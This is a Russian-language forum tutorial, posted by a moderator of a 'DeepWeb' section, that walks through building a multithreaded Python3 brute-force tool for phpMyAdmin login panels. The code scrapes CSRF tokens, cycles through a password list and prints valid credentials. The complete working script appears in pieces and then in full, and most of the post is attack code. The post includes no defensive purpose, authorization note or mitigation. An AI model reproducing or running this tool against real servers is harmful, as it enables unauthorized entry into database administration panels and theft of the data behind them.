✍️ Статья Пишем Bruteforce для панели PHPmyadmin с нуля: работаем, используя Python3

The 146X Project Dublikat Web Studio Avram Lincoln AL Service Navigator Knyaz

BlackPope

Команда форума
Модератор DeepWeb ✔️
PR-Group DeepWeb 🔷
Регистрация
27.04.2020
Сообщения
230
Доброго времени суток, коллеги, сегодня мы с вами будем писать небольшую программу для брутфорс атаки на панель авторизации, на замечательном языке Python3.

Мы с вами постараемся придерживаться парадигмы ООП в ее самом простом виде, так как поддержка и расширение функционала даже в маленьком приложении без применения этого может стать весьма затруднительным делом.

Так же буду благодарен любой критике от товарищей, которые озвучат свой взгляд на код в целом и возможно помогут его улучшить, доработать.

Что же такое брутфорс атака? Как говорит нам один известный поисковик - брутфорсом называется метод взлома учетных записей путем перебора паролей к тому моменту, когда не кончится словарь или ключевое слово не будет признано системой, как истинное.

Термин образован от англоязычного словосочетания «brute force», означающего в переводе «грубая сила». Суть подхода заключается в последовательном автоматизированном переборе всех возможных комбинаций символов с целью рано или поздно найти правильную.

Алгоритм действий вкратце получается таким: мы отправлять какие-то данные на сервер, получаем ответ от сервера, проверяем устраивает-ли нас этот ответ и если нет, модифицируем данные и повторно отправляем уже измененные, повторяем до тех пор пока ответ нас не устроит.

bnFc12xwMH4.jpg


Давайте посмотрим какие данные от нас ожидает панель входа PhpMyAdmin. Для этого откроем браузер, перейдем по URL-адресу ведущему нас к форме авторизации, откроем в браузере консоль разработчика и попробуем авторизоваться.

AF8JR5JFO90.jpg

Как можем лицезреть, вход не удался, но зато мы получили важные сведения, а именно какой тип запроса, куда и с какими данными он должен быть направлен.

Честно признаться я понадеялся, что все же в ручном режиме смогу угадать пароль и еще совершил несколько неудачных попыток входа в систему, но заметил что параметр "set_session" и "token" меняются каждую попытку, будем решать и эту задачу и хватит лирических отступлений, пора переходить к делу.

Начинаем писать код

Но перед тем как писать код, вначале создадим виртуальное окружение для удобной работы с нашим проектом, как это сделать я рассказывал в этой статье.

Нам понадобятся следующие библиотеки:

beautifulsoup4==4.9.1
bs4==0.0.1
certifi==2020.6.20
chardet==3.0.4
idna==2.10
lxml==4.5.2
requests==2.24.0
soupsieve==2.0.1
urllib3==1.25.9


Устанавливаем их:

pip3 install requests && pip install bs4 && pip install lxml

Обратите внимание что некоторые библиотеки поддерживаются только в Python3

Для чего они нужны и как мы их будем использовать вы увидите далее.

Теперь нам стоит определиться с архитектурой программы и с тем какие классы будем реализовывать.
  1. Нужно получить "set_session" и еще некоторые данные, а именно "token" и "server".
  2. Механизм попытки авторизации.
  3. Получить аргументы командной строки (параметры такие как "имя пользователя", "url" и "лист паролей") которые введет пользователь нашей программы, дабы облегчить ему использования инструмента.
  4. Реализовать сам алгоритм перебора паролей.
  5. Реализуем многопоточность, да GIL, но мы же учимся !
Итого у нас получиться 5 классов:
  • TargetData - для получение данных от панели PhpMyAdmin.
  • PhpMyAdminAuthorization - с говорящим названием о том что он будет пытаться авторизоваться в PhpMyAdmin.
  • UserArgument - который будет работать с пользовательскими данными.
  • BruteForceAttack - как не удивительно, класс который будет реализовывать методы для брутфорса.
  • Threads - для методов реализации многопоточности.
Затем импортируем библиотеки:

import requests
import threading
import argparse
import time #
тут скорее декоративна и не обязательна, но будет интересно посмотреть, с какой скоростью наша программа будет брутить.
from bs4 import BeautifulSoup as bs4

Первый раз, первый класс: объявляем класс и так же конструктор, говорим, что на входе этот класс будет принимать некую строковую переменную.

Далее немного библиотеки "requests" в которой говорится, что объект "Session" позволяет сохранять некоторые параметры в запросах и если мы делаем несколько запросов на один и тот же хост, базовое TCP-соединение будет использоваться повторно, что может привести к значительному увеличению производительности. Потом собственно делаем этот самый запрос и получаем исходный код странички куда обращались:

class TargetData:
def __init__(self, php_my_admin_url: str):
self.php_my_admin_url = php_my_admin_url
self.authorization_session = requests.Session()
self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
self.soup = bs4(self.gotten_html.content, 'lxml')


Далее добавим классу два метода, которые будут возвращать нам найденные в ранее полученном HTML строки, содержащие в себе "token" и "server".

Это может быть дублирующий себя код, но разделить на два метода я решил потому что:
  • Они возвращают разные данные.
  • Считаю что один метод, должен делать только что-то одно, если не прав, поправьте в комментариях.
  • Только нужные нам значения содержаться в одинаковых атрибутах HTML а может понадобиться и что то другое.
def get_parse_csrf_token(self) -> str:
csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
return csrf_token_value


def get_parse_server(self) -> str:
server_value = self.soup.find('input', {'name': 'server'})['value']
return server_value


весь класс:

class TargetData:
def __init__(self, php_my_admin_url: str):
self.php_my_admin_url = php_my_admin_url
self.authorization_session = requests.Session()
self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
self.soup = bs4(self.gotten_html.content, 'lxml')

def get_parse_csrf_token(self) -> str:
csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
return csrf_token_value

def get_parse_server(self) -> str:
server_value = self.soup.find('input', {'name': 'server'})['value']
return server_value


На этом с первым классом заканчиваем и переходим ко второму, объявляем класс и уже знакомый нам метод конструктора класса который будет принимать три строковых значения, это "url"," user_name" и "user_password".

Наследуем от класса TargetData, дабы получить его свойства и методы и передаем ему значение переменной с говорящим названием "php_my_admin_url":

class PhpMyAdminAuthorization(TargetData):
def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
super().__init__(php_my_admin_url=php_my_admin_url)
self.user_name = user_name
self.user_password = user_password


Теперь добавим этому классу сам метод авторизации в панели Phpmyadmin.

Создаем список с параметрами, сервер и токен берем из методов класса "TargetData" от которого мы и наследовались, отправляем данные методом пост и получаем результат, тут все просто:

def login_attempt(self) -> str:
authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
'server': self.get_parse_server(),
'target': 'index.php',
'token': self.get_parse_csrf_token()}

request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
result_authorization = request_authorization.text
return result_authorization


И добавим нашему классу "PhpMyAdminAuthorization" еще один метод, который будет возвращать нам, что же там вернулась в результате попытке авторизации. Этот метод будет возвращать булево значение "True" или "False" в зависимости от того, есть ли в результате авторизации строка "Cannot log in to the MySQL server", если нет, то "True" и "False" во всех остальных случаях.

def get_result_authorization(self) -> bool:
is_result_authorization = False
failed_authorization_messages = f"Cannot log in to the MySQL server"
if failed_authorization_messages not in self.login_attempt():
is_result_authorization = True
return is_result_authorization
class PhpMyAdminAuthorization(TargetData):
def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
super().__init__(php_my_admin_url=php_my_admin_url)
self.user_name = user_name
self.user_password = user_password

def login_attempt(self) -> str:
authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,
'server': self.get_parse_server(),
'target': 'index.php',

'token': self.get_parse_csrf_token()}

request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
result_authorization = request_authorization.text
return result_authorization

def get_result_authorization(self) -> bool:
is_result_authorization = False
failed_authorization_messages = f"Cannot log in to the MySQL server"
if failed_authorization_messages not in self.login_attempt():
is_result_authorization = True
return is_result_authorization


Половина дела уже сделана, но теперь нужно будет морально подготовиться, потому что сейчас мы начнем реализовывать самый большой класс, который будет отвечать за взаимодействия пользователя с программой.

Объявляем класс, снова конструктор и куча методов которые инициализируются в конструкторе. Возможно дальше вы поймете меня, но я считаю, что если пользователь может взаимодействовать с приложением, значит он может и что-то в нем сломать. Поэтому я постарался написать хотя-бы немного проверок для тех аргументов, что будет передавать пользователь, давайте теперь пройдемся по этим методам:

class UserArgument:
def __init__(self):
self.user_settings_for_brute_force = argparse.ArgumentParser(
description='Instructions for using the program')
self.add_arguments()
self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
self.target_for_attack = self.brute_force_settings.target
self.check_valid_target_url()
self.username = self.brute_force_settings.username
self.check_valid_password_list()
self.password_list = [str(password).strip('\n') for password in self.brute_force_settings.password_list]
self.number_threads = self.brute_force_settings.rate
self.check_valid_type_rate()


Первый метод у нас "add_arguments()" и он очень прост, добавляет аргументы к объекту "настройки пользователя для брутфорса":

def add_arguments(self):
self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
nargs='?',
help='Link to admin panel phpmyadmin '
'format: http://site.ru/phpmyadmin')


self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
help='Database username.')

self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
help='The path to the file with passwords can be either sexual '
'or relative. There must be one password on one line.')

self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
help='The number of threads with which the program will start '
'working. The number of streams should not exceed '
'the number of passwords in your password list.')


Следующий метод "check_valid_target_url()" - проверяет является ли указанный пользователем URL-панелью PhpMyAdmin и если нет, заставляет его ввести корректный URL, а затем снова проверяет данные:

def check_valid_target_url(self):
try:
TargetData(self.target_for_attack).get_parse_csrf_token()

except TypeError:
print('\nThi\'s target not phpmyadmin panel\n')
self.target_for_attack = input('Enter the correct url: ')
self.check_valid_target_url()


Далее пытаемся открыть файл пользователя с паролями, если это не удалось - просим указать корректный лист паролей и проверяем его на валидность вновь:

def check_valid_password_list(self):
try:
self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
encoding='utf8')
except FileNotFoundError:
print('\nCould not find file\n')
self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
self.check_valid_password_list()


Третий способ - это у нас проверка на корректность введенных потоков, если это значение состоит не из одних целых чисел или превышает количество паролей в листе, то просим задать этот параметр по новой:

def check_valid_type_rate(self):
if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
print('\nGiven number of threads, not an integer or entered incorrectly\n')
self.number_threads = input('Enter the correct number of threads: ')
self.check_valid_type_rate()
self.number_threads = int(self.number_threads)


Теперь добавим нашему классу "UserArgument" еще несколько методов, все они возвращают нам те или иные значения:



def get_target_attack(self) -> str:
return self.target_for_attack

def get_username(self) -> str:
return self.username

def get_password_list(self) -> list:
return self.password_list

def get_number_threads(self) -> str:
return self.number_threads
class UserArgument:
def __init__(self):
self.user_settings_for_brute_force = argparse.ArgumentParser(
description='Instructions for using the program')
self.add_arguments()
self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
self.target_for_attack = self.brute_force_settings.target
self.check_valid_target_url()
self.username = self.brute_force_settings.username
self.check_valid_password_list()
self.password_list = [str(password).strip('\n') for password in self.brute_force_settings.password_list]
self.number_threads = self.brute_force_settings.rate
self.check_valid_type_rate()

def add_arguments(self):
self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
nargs='?',
help='Link to admin panel phpmyadmin '
'format: http://site.ru/phpmyadmin')


self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
help='Database username.')

self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
help='The path to the file with passwords can be either sexual '
'or relative. There must be one password on one line.')

self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
help='The number of threads with which the program will start '
'working. The number of streams should not exceed '
'the number of passwords in your password list.')

def check_valid_target_url(self):
try:
TargetData(self.target_for_attack).get_parse_csrf_token()


except TypeError:
print('\nThi\'s target not phpmyadmin panel\n')
self.target_for_attack = input('Enter the correct url: ')
self.check_valid_target_url()

def check_valid_password_list(self):
try:
self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
encoding='utf8')
except FileNotFoundError:
print('\nCould not find file\n')
self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
self.check_valid_password_list()

def check_valid_type_rate(self):
if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
print('\nGiven number of threads, not an integer or entered incorrectly\n')

self.number_threads = input('Enter the correct number of threads: ')
self.check_valid_type_rate()
self.number_threads = int(self.number_threads)

def get_target_attack(self) -> str:
return self.target_for_attack

def get_username(self) -> str:
return self.username

def get_password_list(self) -> list:
return self.password_list

def get_number_threads(self) -> str:
return self.number_threads


Ух, с этим вроде бы закончили, теперь осталось написать логику самого скприпта и добавить многопоточности.

Объявляем класс "BruteForceAttack" и в конструктор кладем значение которые нам вернут методы из "UserArgument":

class BruteForceAttack:
def __init__(self):
self.attack_target = user_setting.get_target_attack()
self.username = user_setting.get_username()
self.passwords_list = user_setting.get_password_list()


Затем напишем метод для цикличной попытки авторизации, этот способ принимает на вход два параметра, о них немного позже.

После замеряем время, а затем запускаем цикл, в котором количество итераций будет равно срезу из "self.passwords_list[от - до]".

В цикле создаем экземпляр класса "PhpMyAdminAuthorization" с параметрами, которые мы получили из класса "UserArgument" и если его метод "get_result_authorization()" вернет нам "True", то мы напечатаем найденные логин с паролем, а так же время, которое потребовалось на брут, если нет, то цикл продолжит свою работу:

def start_attack(self, start_of_list: int, end_of_list: int):
start_time = time.monotonic()
list_one_thread = self.passwords_list[start_of_list:end_of_list]
for password in list_one_thread:
try:
login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
user_name=self.username, user_password=password)
if login_attempt_phpmyadmin.get_result_authorization():
print(f'login: {login_attempt_phpmyadmin.user_name} |'
f' password: {login_attempt_phpmyadmin.user_password} ')
print(time.monotonic() - start_time)
except IndexError:
pass
class BruteForceAttack:

def __init__(self):
self.attack_target = user_setting.get_target_attack()
self.username = user_setting.get_username()
self.passwords_list = user_setting.get_password_list()

def start_attack(self, start_of_list: int, end_of_list: int):
start_time = time.monotonic()
list_one_thread = self.passwords_list[start_of_list:end_of_list]
for password in list_one_thread:
try:
login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
user_name=self.username, user_password=password)
if login_attempt_phpmyadmin.get_result_authorization():
print(f'login: {login_attempt_phpmyadmin.user_name} |'
f' password: {login_attempt_phpmyadmin.user_password} ')
print(time.monotonic() - start_time)
except IndexError:

pass

Остался еще последний (почти) штришок - многопоточность. Объявляем класс "Threads" и наследуем от класса "Thread" из библиотеки "Threading".

Опять эти свойства, начало и конец листа, для чего же они нам ? Терпение, скоро все станет понятно:

class Threads(threading.Thread):
def __init__(self, start_of_list, end_of_list):
threading.Thread.__init__(self)
self.start_of_list = start_of_list
self.end_of_list = end_of_list


А пока добавим метод "run()", который будет вызывать класс "BruteForceAttack" экземпляр, которого мы создадим уже скоро:

def run(self):
brute_force_attack.start_attack(self.start_of_list, self.end_of_list)
class Threads(threading.Thread):
def __init__(self, start_of_list, end_of_list):
threading.Thread.__init__(self)
self.start_of_list = start_of_list
self.end_of_list = end_of_list

def run(self):
brute_force_attack.start_attack(self.start_of_list, self.end_of_list)


По ходу написания статьи я понял, что стоит добавить еще один класс который назвал "StartProgram" с методом "main()".

Вот он:

class StartProgram:
def __init__(self):
self.number_threads = int(user_setting.get_number_threads())
self.length_password_list = len(user_setting.get_password_list())

def main(self):
start_list = 0
max_list = self.length_password_list // self.number_threads
for i in range(self.number_threads):
thread = Threads(start_list, max_list)
start_list = max_list
max_list = start_list + self.length_password_list // self.number_threads
thread.start()


А теперь поговорим о тех самых непонятных переменных "start_of_list" и "end_of_list" из класса "Threads".

В конструкторе класса "StartProgram" мы объявляем две переменные одна из которых является "integer" значением, которое нам возвращает метод "get_number_threads()" класса "UserArgument".

А вторая длинной значения которое возвращает его же метод "get_password_list()"

Дальше в методе "main()" класса "StartProgram" происходит некоторая магия, в цикле создается экземпляр класса Threads с параметрами 0 и количество паролей деленное на количество потоков.

Это работает следующим образом, допустим, что у нас в списке паролей 100 строк и мы запустили программу в 10 потоков, то в первую итерацию цикла метода "main() Threads" будет запущен с аргументами(0,10) во вторую (10,20) и т.д.

Далее в классе "Threads" будет вызван поток для объекта "brute_force_attack". Таким образом в первом потоке будут перебираться пароли с 1 строки по 9, а во втором потоке пароли из списка с 10 по 19 строку и так далее.

Ну и финальный стук по клавиатуре, создаем объекты классов и запускаем программу:

if __name__ == '__main__':
user_setting = UserArgument()
brute_force_attack = BruteForceAttack()
StartProgram().main()


И по традиции весь код целиком:

import requests
import threading
import argparse
import time
from bs4 import BeautifulSoup as bs4

class TargetData:
def __init__(self, php_my_admin_url: str):
self.php_my_admin_url = php_my_admin_url
self.authorization_session = requests.Session()
self.gotten_html = self.authorization_session.get(self.php_my_admin_url)
self.soup = bs4(self.gotten_html.content, 'lxml')


def get_parse_csrf_token(self) -> str:
csrf_token_value = self.soup.find('input', {'name': 'token'})['value']
return csrf_token_value

def get_parse_server(self) -> str:
server_value = self.soup.find('input', {'name': 'server'})['value']
return server_value

class PhpMyAdminAuthorization(TargetData):
def __init__(self, php_my_admin_url: str, user_name: str, user_password: str):
super().__init__(php_my_admin_url=php_my_admin_url)
self.user_name = user_name
self.user_password = user_password

def login_attempt(self) -> str:
authorization_data = {'pma_username': self.user_name, 'pma_password': self.user_password,

'server': self.get_parse_server(),
'target': 'index.php',
'token': self.get_parse_csrf_token()}


request_authorization = self.authorization_session.post(self.php_my_admin_url, data=authorization_data)
result_authorization = request_authorization.text
return result_authorization

def get_result_authorization(self) -> bool:
is_result_authorization = False
failed_authorization_messages = f"Cannot log in to the MySQL server"
if failed_authorization_messages not in self.login_attempt():
is_result_authorization = True
return is_result_authorization

class UserArgument:
def __init__(self):
self.user_settings_for_brute_force = argparse.ArgumentParser(
description='Instructions for using the program')
self.add_arguments()
self.brute_force_settings = self.user_settings_for_brute_force.parse_args()
self.target_for_attack = self.brute_force_settings.target
self.check_valid_target_url()
self.username = self.brute_force_settings.username
self.check_valid_password_list()
self.password_list = [str(password).strip('\n') for password in self.brute_force_settings.password_list]
self.number_threads = self.brute_force_settings.rate
self.check_valid_type_rate()

def add_arguments(self):
self.user_settings_for_brute_force.add_argument('-t', '--target', default='http://172.18.12.12/phpmyadmin',
nargs='?',
help='Link to admin panel phpmyadmin '
'format: http://site.ru/phpmyadmin')

self.user_settings_for_brute_force.add_argument('-u', '--username', default='phpmyadmin', nargs='?',
help='Database username.')

self.user_settings_for_brute_force.add_argument('-p', '--password_list', default='10_random_pass', nargs='?',
help='The path to the file with passwords can be either sexual '
'or relative. There must be one password on one line.')

self.user_settings_for_brute_force.add_argument('-r', '--rate', default='10', nargs='?',
help='The number of threads with which the program will start '
'working. The number of streams should not exceed '
'the number of passwords in your password list.')

def check_valid_target_url(self):
try:
TargetData(self.target_for_attack).get_parse_csrf_token()

except TypeError:
print('\nThi\'s target not phpmyadmin panel\n')
self.target_for_attack = input('Enter the correct url: ')
self.check_valid_target_url()

def check_valid_password_list(self):
try:
self.brute_force_settings.password_list = open(f'{self.brute_force_settings.password_list}', 'r',
encoding='utf8')
except FileNotFoundError:
print('\nCould not find file\n')
self.brute_force_settings.password_list = input('Enter the correct path to the file: ')
self.check_valid_password_list()

def check_valid_type_rate(self):
if self.number_threads.isdigit() is not True or int(self.number_threads) > len(self.password_list) + 1:
print('\nGiven number of threads, not an integer or entered incorrectly\n')
self.number_threads = input('Enter the correct number of threads: ')
self.check_valid_type_rate()
self.number_threads = int(self.number_threads)

def get_target_attack(self) -> str:
return self.target_for_attack

def get_username(self) -> str:
return self.username

def get_password_list(self) -> list:
return self.password_list

def get_number_threads(self) -> str:
return self.number_threads

class BruteForceAttack:
def __init__(self):
self.attack_target = user_setting.get_target_attack()
self.username = user_setting.get_username()
self.passwords_list = user_setting.get_password_list()

def start_attack(self, start_of_list: int, end_of_list: int):
start_time = time.monotonic()
list_one_thread = self.passwords_list[start_of_list:end_of_list]
for password in list_one_thread:
try:
login_attempt_phpmyadmin = PhpMyAdminAuthorization(php_my_admin_url=f'{self.attack_target}/index.php',
user_name=self.username, user_password=password)
if login_attempt_phpmyadmin.get_result_authorization():
print(f'login: {login_attempt_phpmyadmin.user_name} |'
f' password: {login_attempt_phpmyadmin.user_password} ')
print(time.monotonic() - start_time)
except IndexError:
pass

class Threads(threading.Thread):
def __init__(self, start_of_list, end_of_list):
threading.Thread.__init__(self)
self.start_of_list = start_of_list
self.end_of_list = end_of_list

def run(self):
brute_force_attack.start_attack(self.start_of_list, self.end_of_list)

class StartProgram:
def __init__(self):
self.number_threads = int(user_setting.get_number_threads())
self.length_password_list = len(user_setting.get_password_list())

def main(self):
start_list = 0
max_list = self.length_password_list // self.number_threads
for i in range(self.number_threads):
thread = Threads(start_list, max_list)
start_list = max_list
max_list = start_list + self.length_password_list // self.number_threads
thread.start()

if __name__ == '__main__':
user_setting = UserArgument()
brute_force_attack = BruteForceAttack()
StartProgram().main()


Заключение и тестирование нашей программы

Программу я протестировал на списках паролей следующей длины 10000 паролей, 1000 паролей и 10 паролей в файле. Скорость выполнения в рамках локальной сети вы видите на приведенном ниже скриншоте.

wdopydIRBLQ.jpg

Надеюсь, после прочтения данного материала вы узнали что-то новое для себя, чему-то научились и сами стали чуточку лучше.
 

📌 Золотая реклама

AnonPaste

Верх